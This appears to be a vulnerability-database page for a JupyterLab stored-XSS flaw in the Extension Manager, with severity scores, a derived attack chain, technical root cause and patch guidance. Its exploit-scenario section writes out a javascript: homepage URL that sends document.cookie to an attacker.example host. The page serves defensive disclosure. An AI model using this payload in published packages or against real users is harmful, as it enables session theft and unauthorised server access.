Skip to main content

JupyterLab CVE-2026-67338

| EUVDEUVD-2026-51849 MEDIUM
Improper Neutralization of Encoded URI Schemes in a Web Page (CWE-84)
2026-08-01 VulnCheck GHSA-r75g-r7w6-363h
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register PyPI account and publish package with javascript: homepage URL
  2. Delivery
    Package surfaces in victim's JupyterLab Extension Manager search
  3. Exploit
    Victim clicks extension name link
  4. Execution
    javascript: URL executes in JupyterLab browser origin
  5. Impact
    Attacker script accesses session tokens or calls Jupyter server API

Vulnerability Assessment

Weakness
CWE
Exploitation Conditions

The Extension Manager must be enabled (it is on by default in JupyterLab) and must be configured to use the public PyPI source (the default). The victim must actively click the extension name hyperlink rendered in the Extension Manager - passive browsing of the extension list without clicking does not execute the payload. The attacker must hold a valid PyPI account to publish the malicious package; the package must appear in the victim's Extension Manager search results or listed view. Exploitation is limited to the browser session context of the clicking user; on single-user local deployments impact is confined to that user's local Jupyter instance, while multi-user JupyterHub deployments expose any participating user.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the structural constraints: PR:L captures that PyPI account registration, while trivial, is a nonzero barrier, and UI:P correctly models the required click. The subsequent-system impact (SC:L/SI:L) is arguably understated for multi-user JupyterHub deployments, where the JupyterLab origin grants access to kernel execution and file I/O via the Jupyter server API - a successful XSS could escalate to notebook-level code execution or data exfiltration. No EPSS score was provided in the intelligence data, so exploitation probability cannot be independently quantified. The vulnerability is not in CISA KEV and no public exploit code has been identified, making this a patch-priority rather than emergency-response item. Single-user local deployments carry lower realistic risk; shared or cloud-hosted JupyterHub environments elevate it considerably.

Exploit ScenarioDerived

An attacker registers a free PyPI account and publishes a package - plausibly named to resemble a legitimate Jupyter extension - with [project.urls] Homepage = javascript:fetch('https://attacker.example/steal?c='+document.cookie) in its pyproject.toml. When a JupyterLab user searches the Extension Manager and clicks the extension name, the payload fires in the JupyterLab origin and exfiltrates session cookies or issues authenticated requests to the Jupyter server API. No public exploit code has been identified, but the technique requires only standard PyPI packaging knowledge.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 01, 2026

Stored cross-site scripting in JupyterLab's Extension Manager allows an attacker who publishes a malicious PyPI package to execute arbitrary JavaScript in the JupyterLab browser origin. The frontend in widget.tsx renders PyPI package metadata URLs as raw anchor hrefs without protocol validation, so a javascript: URL placed in [project.urls] metadata fires the moment a victim clicks the extension name. Affects all JupyterLab releases before 4.5.9; no confirmed active exploitation (not in CISA KEV) but the attack barrier is low - only a PyPI account is required to stage the payload.

RemediationAI

Upgrade JupyterLab to version 4.5.9 or later using pip install --upgrade jupyterlab; this is the vendor-released patch per the GHSA advisory at https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-vmhf-c436-hxj4, incorporating commits 4e61e07 and d5d961f. If immediate upgrade is not possible, disable the Extension Manager entirely by adding @jupyterlab/extensionmanager-extension to disabledExtensions in jupyter_notebook_config.json - this eliminates the attack surface at the cost of losing UI-based extension management. Alternatively, restrict the Extension Manager to a private or curated PyPI mirror to prevent malicious third-party packages from appearing in search results, though this does not address the underlying protocol-validation gap. Both workarounds require administrative access to the JupyterLab configuration.

Affected VersionsENISA

jupyterlab 0 <4.5.9

Affected Packages

pypi jupyterlab fix: 4.5.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CWE-84 (Improper Neutralization of Encoded URI Schemes in a Web Page) is the root cause: the Python backend in jupyterlab/extensions/pypi.py copies the PyPI homepage_url field verbatim into the extension entry, and the React frontend in packages/extensionmanager/src/widget.tsx (L77-88) binds it to an <a href> attribute without sanitizing the URI scheme. Because browsers treat javascript: as a valid href scheme, clicking the link triggers script execution inside the JupyterLab origin - typically localhost or a hosted Jupyter server with filesystem and kernel API access. The fix (commits 4e61e07, d5d961f) introduces isProtocolAllowed(), which uses the URL constructor to accept only http: and https: schemes before rendering the anchor. Affected CPE: cpe:2.3:a:jupyterlab:jupyterlab:*:*:*:*:*:*:*:* versions 0 through 4.5.8.

Know when Jupyterlab gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L reflects PyPI account requirement; S:C because XSS runs in JupyterLab origin with potential Jupyter server API access; UI:R for required click; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM
Red Hat 6.1 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

JupyterLab before 4.5.9 contains a stored cross-site scripting vulnerability in the Extension Manager that fails to validate URI protocols in package metadata URLs. Attackers can publish malicious PyPI packages with javascript: URLs in project metadata that execute arbitrary JavaScript in the JupyterLab origin when users click the extension name.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
High
widely deployed in data science, academic, and enterprise ML workflows
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-39700 CRITICAL POC
9.8 Jul 16

JupyterLab extension template is a `copier` template for JupyterLab extensions. Rated critical severity (CVSS 9.8), this

CVE-2021-32797 CRITICAL POC
9.6 Aug 09

JupyterLab is a user interface for Project Jupyter which will eventually replace the classic Jupyter Notebook. Rated cri

CVE-2024-22421 MEDIUM
6.5 Jan 19

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Ar

CVE-2024-43805 MEDIUM
6.1 Aug 28

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Archit

CVE-2024-22420 MEDIUM
6.1 Jan 19

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Ar

CVE-2026-73627 MEDIUM
6.0 Aug 13

Plugin lock-rule enforcement bypass in JupyterLab (pip package, versions >=4.1.0,<=4.5.9 and >=4.6.0,<=4.6.1) allows aut

CVE-2026-102904 MEDIUM
5.4 Sep 29

Argument injection in JupyterLab's PyPI Extension Manager (JupyterLab 4.0.0 through 4.5.10 and the 4.6.x branch before 4

CVE-2026-102832 MEDIUM
4.2 Oct 13

Improper trust attribution in JupyterLab's markdownviewer:trust and notebook:trust command-link handlers lets a Trust de

CVE-2025-59842 LOW
2.1 Sep 26

jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Archit

CVE-2026-73626 HIGH
7.7 Aug 13

Allowlist/blocklist enforcement in JupyterLab's PyPIExtensionManager.install() was silently bypassed due to a missing 'a

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy